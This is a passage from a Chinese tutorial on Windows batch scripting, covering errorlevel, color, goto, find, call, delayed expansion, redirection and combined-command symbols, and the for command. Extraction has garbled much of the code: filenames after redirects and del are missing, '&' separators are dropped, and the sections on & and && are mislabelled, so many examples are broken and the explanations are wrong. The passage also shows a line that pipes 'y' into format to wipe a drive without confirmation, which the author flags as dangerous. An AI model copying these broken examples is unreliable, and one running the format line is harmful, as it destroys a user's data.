请按任意键继续. . .

要显示其他提示语,可以这样用:

Echo 其他提示语 pause > nul

4、errorlevel

程序返回码

echo %errorlevel%

每个命令运行结束,可以用这个命令行格式查看返回码

用于判断刚才的命令是否执行成功

默认值为0,一般命令执行出错会设 errorlevel 为1

5、title

设置cmd窗口的标题

title 新标题#可以看到cmd窗口的标题栏变了

6、COLOR

设置默认的控制台前景和背景颜色。

COLOR [attr]

attr指定控制台输出的颜色属性

颜色属性由两个十六进制数字指定 -- 第一个为背景,第二个则为

前景。每个数字可以为以下任何值之一:

0 = 黑色 8 = 灰色

1 = 蓝色 9 = 淡蓝色

2 = 绿色 A = 淡绿色

3 = 湖蓝色 B = 淡浅绿色

4 = 红色 C = 淡红色

5 = 紫色 D = 淡紫色

6 = ** E = 淡**

7 = 白色 F = 亮白色

如果没有给定任何参数,该命令会将颜色还原到 启动时

的颜色。这个值来自当前控制台窗口、/T 开关或

DefaultColor 注册表值。

如果用相同的前景和背景颜色来执行 COLOR 命令,COLOR 命令

会将 ERRORLEVEL 设置为 1。

例如: "COLOR fc" 在亮白色上产生亮红色

7、mode 配置系统设备

配置系统设备。

串行口: MODE COMm[:] [BAUD=b] [PARITY=p] [DATA=d] [STOP=s]

[to=on|off] [xon=on|off] [odsr=on|off]

[octs=on|off] [dtr=on|off|hs]

[rts=on|off|hs|tg] [idsr=on|off]

设备状态: MODE [device] [/STATUS]

打印重定向: MODE LPTn[:]=COMm[:]

选定代码页: MODE CON[:] CP SELECT=yyy

代码页状态: MODE CON[:] CP [/STATUS]

显示模式: MODE CON[:] [COLS=c] [LINES=n]

击键率: MODE CON[:] [RATE=r DELAY=d]

例:

mode con cols=113 lines=15 color 9f

此命令设置DOS窗口大小:15行,113列

8、GOTO 和 :

GOTO会点编程的朋友就会知道这是跳转的意思。

在批处理中允许以―:XXX‖来构建一个标号,然后用GOTO XXX跳转到标号:XXX处,然后执行标号后的命令。

例:

if {%1}=={} goto noparms

if "%2"=="" goto noparms

标签的名字可以随便起,但是最好是有意义的字符串啦,前加个冒号用来表示这个字符串是标签,goto命令就是根据这个冒号(:)来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

例:

@echo off

:start

set /a var+=1

echo %var%

if %var% leq 3 GOTO start

pause

运行显示:

1

2

3

4

9、find

在文件中搜索字符串。

FIND [/V] [/C] [/N] [/OFF[LINE]] "string" [[drive:][path]filename[ ...]]

/V显示所有未包含指定字符串的行。

/C仅显示包含字符串的行数。

/N显示行号。

/I搜索字符串时忽略大小写。

/OFF[LINE] 不要跳过具有脱机属性集的文件。

"string"指定要搜索的文字串,

[drive:][path]filename

指定要搜索的文件。

如果没有指定路径,FIND 将搜索键入的或者由另一命令产生的文字。

Find常和type命令结合使用

Type [drive:][path]filename | find "string" [>tmpfile] #挑选包含string的行

Type [drive:][path]filename | find /v "string" #剔除文件中包含string的行

Type [drive:][path]filename | find /c #显示文件行数

以上用法将去除find命令自带的提示语(文件名提示)

例:

@echo off

echo 111 >

echo 222 >>

find "111"

del

pause

运行显示如下:

----------

111

请按任意键继续. . .

例:

@echo off

echo 111 >

echo 222 >>

type |find "111"

del

pause

运行显示如下:

111

请按任意键继续. . .

10、start 命令

批处理中调用外部程序的命令(该外部程序在新窗口中运行,批处理程序继续往下执行,不理会外部程序的运行状况),如果直接运行外部程序则必须等外部程序完成后才继续执行剩下的指令

例:start explorer d:

调用图形界面打开D盘

11、assoc 和 ftype

文件关联

assoc 设置#39;文件扩展名'关联,关联到'文件类型'

ftype 设置#39;文件类型'关联,关联到'执行程序和参数'

当你双击一个.txt文件时,windows并不是根据.txt直接判断用 打开

而是先判断.txt属于 txtfile #39;文件类型'

再调用 txtfile 关联的命令行 txtfile=%SystemRoot% %1

可以在"文件夹选项"→"文件类型"里修改这2种关联

assoc #显示所有#39;文件扩展名'关联

assoc .txt#显示.txt代表的#39;文件类型',结果显示 .txt=txtfile

assoc .doc#显示.doc代表的#39;文件类型',结果显示 .doc=nt.8

assoc .exe#显示.exe代表的#39;文件类型',结果显示 .exe=exefile

ftype #显示所有#39;文件类型'关联

ftype exefile #显示exefile类型关联的命令行,结果显示 exefile="%1" %*

assoc .txt=nt.8

设置.txt为word类型的文档,可以看到.txt文件的图标都变了

assoc .txt=txtfile

恢复.txt的正确关联

ftype exefile="%1" %*

恢复 exefile 的正确关联

如果该关联已经被破坏,可以运行 ,再输入这条命令

12、pushd 和 popd

切换当前目录

@echo off

c: cd & md mp3 #在 C: 建立 mp3 文件夹

md d:mp4 #在 D: 建立 mp4 文件夹

cd /d d:mp4#更改当前目录为 d:mp4

pushd c:mp3#保存当前目录,并切换当前目录为 c:mp3

popd#恢复当前目录为刚才保存的 d:mp4

一般用处不大,在当前目录名不确定时,会有点帮助。(dos编程中很有用)

13、CALL

CALL命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后,再继续执行原来的批处理

CALL command

调用一条批处理命令,和直接执行命令效果一样,特殊情况下很有用,比如变量的多级嵌套,见教程后面。在批处理编程中,可以根据一定条件生成命令字符串,用call可以执行该字符串,见例子。

CALL [drive:][path]filename [batch-parameters]

调用的其它批处理程序。filename 参数必须具有 .bat 或 .cmd 扩展名。

CALL :label arguments

调用本文件内命令段,相当于子程序。被调用的命令段以标签:label开头

以命令goto :eof结尾。

另外,批脚本文本参数参照(%0、%1、等等)已如下改变:

批脚本里的 %* 指出所有的参数(如 %1 %2 %3 %4 %5 ...)

批参数(%n)的替代已被增强。您可以使用以下语法:(看不明白的直接运行后面的例子)

%~1 - 删除引号("),扩充 %1

%~f1- 将 %1 扩充到一个完全合格的路径名

%~d1- 仅将 %1 扩充到一个驱动器号

%~p1- 仅将 %1 扩充到一个路径

%~n1- 仅将 %1 扩充到一个文件名

%~x1- 仅将 %1 扩充到一个文件扩展名

%~s1- 扩充的路径指含有短名

%~a1- 将 %1 扩充到文件属性

%~t1- 将 %1 扩充到文件的日期/时间

%~z1- 将 %1 扩充到文件的大小

%~$PATH : 1 - 查找列在 PATH 环境变量的目录,并将 %1

扩充到找到的第一个完全合格的名称。如果环境

变量名未被定义,或者没有找到文件,此组合键会

扩充到空字符串

可以组合修定符来取得多重结果:

%~dp1 - 只将 %1 扩展到驱动器号和路径

%~nx1 - 只将 %1 扩展到文件名和扩展名

%~dp$PATH:1 - 在列在 PATH 环境变量中的目录里查找 %1,

并扩展到找到的第一个文件的驱动器号和路径。

%~ftza1 - 将 %1 扩展到类似 DIR 的输出行。

在上面的例子中,%1 和 PATH 可以被其他有效数值替换。

%~ 语法被一个有效参数号码终止。%~ 修定符不能跟 %*使用

注意:参数扩充时不理会参数所代表的文件是否真实存在,均以当前目录进行扩展

要理解上面的知识,下面的例子很关键。

例:

@echo off

Echo 产生一个临时文件 >

Rem 下行先保存当前目录,再将c:windows设为当前目录

pushd c:windows

Call :sub

Rem 下行恢复前次的当前目录

Popd

Call :sub

pause

Del

exit

:sub

Echo 删除引号: %~1

Echo 扩充到路径: %~f1

Echo 扩充到一个驱动器号: %~d1

Echo 扩充到一个路径: %~p1

Echo 扩充到一个文件名: %~n1

Echo 扩充到一个文件扩展名: %~x1

Echo 扩充的路径指含有短名: %~s1

Echo 扩充到文件属性: %~a1

Echo 扩充到文件的日期/时间: %~t1

Echo 扩充到文件的大小: %~z1

Echo 扩展到驱动器号和路径:%~dp1

Echo 扩展到文件名和扩展名:%~nx1

Echo 扩展到类似 DIR 的输出行:%~ftza1

Echo.

Goto :eof

例:

set aa=123456

set cmdstr=echo %aa%

call %cmdstr%

pause

本例中如果不用call,而直接运行%cmdstr%,将显示结果%aa%,而不是123456

14、shift

更改批处理文件中可替换参数的位置。

SHIFT [/n]

如果命令扩展名被启用,SHIFT 命令支持/n 命令行开关;该命令行开关告诉

命令从第 n 个参数开始移位;n 介于零和八之间。例如:

SHIFT /2

会将 %3 移位到 %2,将 %4 移位到 %3,等等;并且不影响 %0 和 %1。

15、IF

IF 条件判断语句,语法格式如下:

IF [NOT] ERRORLEVEL number command

IF [NOT] string1==string2 command

IF [NOT] EXIST filename command

下面逐一介绍,更详细的分析请看后面章节。

(1) IF [NOT] ERRORLEVEL number command

IF ERRORLEVEL这个句子必须放在某一个命令的后面,执行命令后由IF ERRORLEVEL 来判断命令的返回值。

Number的数字取值范围0~255,判断时值的排列顺序应该由大到小。返回的值大于等于指定的值时,条件成立

例:

@echo off

dir c:

rem退出代码为>=1就跳至标题1处执行,>=0就跳至标题0处执行

IF ERRORLEVEL 1 goto 1

IF ERRORLEVEL 0 goto 0

Rem 上面的两行不可交换位置,否则失败了也显示成功。

:0

echo 命令执行成功!

Rem 程序执行完毕跳至标题exit处退出

goto exit

:1

echo 命令执行失败!

Rem 程序执行完毕跳至标题exit处退出

goto exit

:exit

pause

运行显示:命令执行成功!

(2) IF [NOT] string1==string2 command

string1和string2都为字符的数据,英文内字符的大小写将看作不同,这个条件中的等于号必须是两个(绝对相等的意思)

条件相等后即执行后面的command

检测当前变量的值做出判断,为了防止字符串中含有空格,可用以下格式

if [NOT] {string1}=={string2} command

if [NOT] [string1]==[string2] command

if [NOT] "string1"=="string2" command

这种写法实际上将括号或引号当成字符串的一部分了,只要等号左右两边一致就行了,比如下面的写法就不行:

if {string1}==[string2] command

(3) IF [NOT] EXIST filename command

EXIST filename为文件或目录存在的意思

echo off

IF EXIST echo 文件存在!

IF not EXIST echo 文件不存在!

这个批处理大家可以放在C盘和D盘分别执行,看看效果

16、setlocal 与 变量延迟

本条内容引用[英雄出品]的批处理教程:

要想进阶,变量延迟是必过的一关!所以这一部分希望你能认真看。

为了更好的说明问题,我们先引入一个例子。

例1:

@echo off

set a=4

set a=5 echo %a%

pause

结果:4

解说:为什么是4而不是5呢?在echo之前明明已经把变量a的值改成5了?

让我们先了解一下批处理运行命令的机制:

批处理读取命令时是按行读取的(另外例如for命令等,其后用一对圆括号闭合的所有语句也当作一行),在处理之前要完成必要的预处理工作,这其中就包括对该行命令中的变量赋值。我们现在分析一下例1,批处理在运行到这句―set a=5 echo %a%‖之前,先把这一句整句读取并做了预处理——对变量a赋了值,那么%a%当然就是4了!(没有为什么,批处理就是这样做的。)

而为了能够感知环境变量的动态变化,批处理设计了变量延迟。简单来说,在读取了一条完整的语句之后,不立即对该行的变量赋值,而会在某个单条语句执行之前再进行赋值,也就是说―延迟‖了对变量的赋值。

那么如何开启变量延迟呢?变量延迟又需要注意什么呢?举个例子说明一下:

例2:

@echo off

setlocal enabledelayedexpansion

set a=4

set a=5 echo !a!

pause

结果:5

解说:启动了变量延迟,得到了正确答案。变量延迟的启动语句是―setlocal

enabledelayedexpansion‖,并且变量要用一对叹号―!!‖括起来(注意要用英文的叹号),否则就没有变量延迟的效果。

分析一下例2,首先―setlocal enabledelayedexpansion‖开启变量延迟,然后―set a=4‖先给变量a赋值为

4,―set a=5 echo !a!‖这句是给变量a赋值为5并输出(由于启动了变量延迟,所以批处理能够感知到动态变化,即不是先给该行变量赋值,而是在运行过程中给变量赋值,因此此时a的值就是5了)。

再举一个例子巩固一下。

例3:

@echo off

setlocal enabledelayedexpansion

for /l %%i in (1,1,5) do (

set a=%%i

echo !a!

)

pause

结果:

1

2

3

4

5

解说:本例开启了变量延迟并用―!!‖将变量扩起来,因此得到我们预期的结果。如果不用变量延迟会出现什

么结果呢?结果是这样的:

ECHO 处于关闭状态。

ECHO 处于关闭状态。

ECHO 处于关闭状态。

ECHO 处于关闭状态。

ECHO 处于关闭状态。

即没有感知到for语句中的动态变化。

提示:在没有开启变量延迟的情况下,某条命令行中的变量改变,必须到下一条命令才能体现。这一点也可以加以利用,看例子。

例:交换两个变量的值,且不用中间变量

@echo off

::目的:交换两个变量的值,但是不使用临时变量

::Code by JM 2007-1-24 [email=CMD@XP]CMD@XP[/email]

::出处:/forum/?tid=27078

set var1=abc

set var2=123

echo 交换前: var1=%var1% var2=%var2%

set var1=%var2% set var2=%var1%

echo 交换后: var1=%var1% var2=%var2%

pause

17、ATTRIB显示或更改文件属性

ATTRIB [+R|-R] [+A|-A] [+S|-S] [+H|-H] [[drive:] [path] filename] [/S [/D]]

+ 设置属性。

-清除属性。

R 只读文件属性。

A 存档文件属性。

S 系统文件属性。

H 隐藏文件属性。

[drive:][path][filename]

指定要处理的文件属性。

/S处理当前文件夹及其子文件夹中的匹配文件。

/D也处理文件夹。

例:

md autorun

attrib +a +s +h autorun

上面的命令将建立文件夹autorun,然后将其设为存档、系统、隐藏属性

第二节 常用特殊符号

1、@命令行回显屏蔽符

2、%批处理变量引导符

3、> 重定向符

4、>>重定向符

5、<、>、<& 重定向符

6、|命令管道符

7、^转义字符

8、组合命令

9、& 组合命令

10、||组合命令

11、""字符串界定符

12、, 逗号

13、; 分号

14、() 括号

15、! 感叹号

16、批处理中可能会见到的其它特殊标记符: (略)

CR(0D) 命令行结束符

Escape(1B) ANSI转义字符引导符

Space(20) 常用的参数界定符

Tab(09) ; = 不常用的参数界定符

+ COPY命令文件连接符

* ? 文件通配符

/ 参数开关引导符

: 批处理标签引导符

废话少说,开讲了

1、@命令行回显屏蔽符

这个字符在批处理中的意思是关闭当前行的回显。我们从前几课知道

ECHO OFF可以关闭掉整个批处理命令的回显,但不能关掉ECHO OFF这个命令,现在我们在ECHO OFF这个命令前加个@,就可以达到所有命令均不回显的要求

2、%批处理变量引导符

这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍)。

引用变量用%var%,调用程序外部参数用%1至%9等等

%0%1%2%3%4%5%6%7%8%9%*为命令行传递给批处理的参数

%0 批处理文件本身,包括完整的路径和扩展名

%1 第一个参数

%9 第九个参数

%* 从第一个参数开始的所有参数

参数%0具有特殊的功能,可以调用批处理自身,以达到批处理本身循环的目的,也可以复制文件自身等等。

例:最简单的复制文件自身的方法

copy %0 d:

小技巧:添加行内注释

%注释内容%(可以用作行内注释,不能出现重定向符号和管道符号)

为什么这样呢?此时―注释内容‖其实被当作变量,其值是空的,故只起注释作用,不过这种用法容易出现语法错误,一般不用。

3、> 重定向符

输出重定向命令

这个字符的意思是传递并且覆盖,他所起的作用是将运行的结果传递到后面的范围(后边可以是文件,也可以是默认的系统控制台)

在NT系列命令行中,重定向的作用范围由整个命令行转变为单个命令语句,受到了命令分隔符,&&,||和语句块的制约限制。

比如:

使用命令:echo hello >将建立文件,内容为‖hello ―(注意行尾有一空格)

使用命令:echo hello>将建立文件,内容为‖hello―(注意行尾没有空格)

4、>>重定向符

输出重定向命令

这个符号的作用和>有点类似,但他们的区别是>>是传递并在文件的末尾追加,而>是覆盖

用法同上

同样拿做例子

使用命令:

echo hello >

echo world >>

这时候 内容如下:

hello

world

5、<、>、<& 重定向符

这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。(本人已查过,网上也查不到相关资料)

<,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。

@echo off

echo 2005-05-01>

date <

del

这样就可以不等待输入直接修改当前日期

>,将一个句柄的输出写入到另一个句柄的输入中。

<,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。

常用句柄:0、1、2,未定义句柄:3—9

1>nul 表示禁止输出正确的信息

2>nul 表示禁止输出错误信息。

其中的1与2都是代表某个数据流输入输出的地址(NT CMD 称之为句柄,MSDOS称之为设备)。

句柄0:标准输入stdin,键盘输入

句柄1:标准输出stdout,输出到命令提示符窗口(console,代码为CON)

句柄2:标准错误stderr,输出到命令提示符窗口(console,代码为CON)

其中的stdin可被<重定向,stdout可被>、>>重定向。

我们已经知道读取文本中的内容可以用for命令,但如果只需要读取第一行用for命令就有点麻烦。简单的办法如下:

@echo off

set /p str=<%0

echo %str%

pause

运行显示批处理文件自身的第一行:@echo off

6、|命令管道符

格式:第一条命令 | 第二条命令 [| 第三条命令...]

将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

例如:

dir c:|find "txt"

以上命令是:查找C:所有,并发现TXT字符串。

FIND的功能请用 FIND /? 自行查看

在不使format的自动格式化参数时,我是这样来自动格式化A盘的

echo y|format a: /s /q /v:system

用过format的都知道,再格盘时要输入y来确认是否格盘,这个命令前加上echo y并用|字符来将echo y的结果传给format命令

从而达到自动输入y的目的

(这条命令有危害性,测试时请慎重)

7、^转义字符

^是对特殊符号<,>,的前导字符,在命令中他将以上3个符号的特殊功能去掉,仅仅只把他们当成符号而不使用他们的特殊意义。

比如

echo test ^>

结果则是:test >

他没有追加在里,呵呵。只是显示了出来

另外,此转义字符还可以用作续行符号。

举个简单的例子:

@echo off

echo 英雄^

是^

好^

男人

pause

不用多说,自己试一下就明白了。

为什么转义字符放在行尾可以起到续行符的作用呢?原因很简单,因为每行末尾还有一个看不见的符号,即回车符,转义字符位于行尾时就让回车符失效了,从而起到了续行的作用。

8、组合命令

语法:第一条命令 第二条命令 [& 第三条命令...]

、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。因为批处理认行不认命令数目。

这个符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。

这里两边的命令是顺序执行的,从前往后执行。

比如:

dir z: dir y: & dir c:

以上命令会连续显示z,y,c盘的内容,不理会该盘是否存在

9、& 组合命令

语法:第一条命令 & 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令

这个命令和上边的类似,但区别是,第一个命令失败时,后边的命令也不会执行

dir z: & dir y: && dir c:

10、||组合命令

语法:第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令,当一条命令失败后才执行第二条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

提示:组合命令和重定向命令一起使用必须注意优先级

管道命令的优先级高于重定向命令,重定向命令的优先级高于组合命令

问题:把C盘和D盘的文件和文件夹列出到文件中。看例:

dir c: & dir d: >

这样执行后里只有D盘的信息!为什么?因为组合命令的优先级没有重定向命令的优先级高!所以这句在执行时将本行分成这两部分:dir c:和dir d: > ,而并不是如你想的这两部分:dir c: & dir d:和> 。要使用组合命令&&达到题目的要求,必须得这么写:

dir c: > & dir d: >>

这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c: > 和dir d: >> 。例十八中的几句的差别比较特殊,值得好好研究体会一下。

当然这里还可以利用命令(自己想一下道理哦):

dir c: > dir d: >>

11、""字符串界定符

双引号允许在字符串中包含空格,进入一个特殊目录可以用如下方法

cd "program files"

cd progra~1

cd pro*

以上三种方法都可以进入program files这个目录

12、, 逗号

逗号相当于空格,在某些情况下―,‖可以用来当做空格使

比如

dir,c:

13、; 分号

分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回错误报告,但程序仍会执行。(有人说不会继续执行,其实测试一下就知道了)

比如:

dir c:;d:;e:;z:

以上命令相当于

dir c:

dir d:

dir e:

dir f:

如果其中z盘不存在,运行显示:系统找不到指定的路径。然后终止命令的执行。

例:dir c:;d:;e:

以上命令相当于

dir c:

dir d:

dir e:

其中文件e:不存在,但e盘存在,有错误提示,但命令仍会执行。

为什么?如果目标路径不存在,则终止执行;如果路径存在,仅文件不存在,则继续执行。

14、() 括号

小括号在批处理编程中有特殊的作用,左右括号必须成对使用,括号中可以包括多行命令,这些命令将被看成一个整体,视为一条命令行。

括号在for语句和if语句中常见,用来嵌套使用循环或条件语句,其实括号()也可以单独使用,请看例子。

例:

命令:echo 1 echo 2 & echo 3

可以写成:

(

echo 1

echo 2

echo 3

)

上面两种写法效果一样,这两种写法都被视为是一条命令行。

注意:这种多条命令被视为一条命令行时,如果其中有变量,就涉及到变量延迟的问题。

15、! 感叹号

没啥说的,在变量延迟问题中,用来表示变量,即%var%应该表示为!var!,请看前面的setlocal

命令介绍。

第二章 DOS循环:for命令详解

讲FOR之前呢,咋先告诉各位新手朋友,如果你有什么命令不懂,直接在CMD下面输入:

name /? 这样的格式来看系统给出的帮助文件,比如for /? 就会把FOR命令的帮助全部显示出来!当然许多菜鸟都看不懂....所以才会有那么多批处理文章!!!!俺也照顾菜鸟,把FOR命令用我自己的方式说明下!

正式开始:

一、基本格式

FOR %%variable IN (set) DO command [command-parameters]

%%variable指定一个单一字母表示可替换的参数。

(set)指定一个或一组文件。可以使用通配符。

command指定对每个文件执行的命令。

command-parameters

为特定命令指定参数或命令行开关。

参数:FOR有4个参数 /d /l /r /f 他们的作用我在下面用例子解释

现在开始讲每个参数的意思

二、参数 /d

FOR /D %%variable IN (set) DO command [command-parameters]

如果集中包含通配符,则指定与目录名匹配,而不与文件

名匹配。

如果 Set (也就是我上面写的 "相关文件或命令") 包含通配符(* 和 ?),将对与 Set 相匹配的每个目录(而不是指定目录中的文件组)执行指定的 Command。

这个参数主要用于目录搜索,不会搜索文件,看这样的例子

@echo off

for /d %%i in (c:*) do echo %%i

pause

运行会把C盘根目录下的全部目录名字打印出来,而文件名字一个也不显示!

在来一个,比如我们要把当前路径下文件夹的名字只有1-3个字母的打出来

@echo off

for /d %%i in (???) do echo %%i

pause

这样的话如果你当前目录下有目录名字只有1-3个字母的,就会显示出来,没有就不显示了

这里解释下*号和?号的作用,*号表示任意N个字符,而?号只表示任意一个字符

知道作用了,给大家个思考题目!

@echo off

for /d %%i in (window?) do echo %%i

pause

保存到C盘下执行,会显示什么呢?自己看吧! 显示:windows

/D参数只能显示当前目录下的目录名字,这个大家要注意!

三、参数 /R

FOR /R [[drive:]path] %%variable IN (set) DO command [command-parameters]

检查以 [drive:]path 为根的目录树,指向每个目录中的

FOR 语句。如果在 /R 后没有指定目录,则使用当前

目录。如果集仅为一个单点(.)字符,则枚举该目录树。


本文标签: 命令 批处理 文件 执行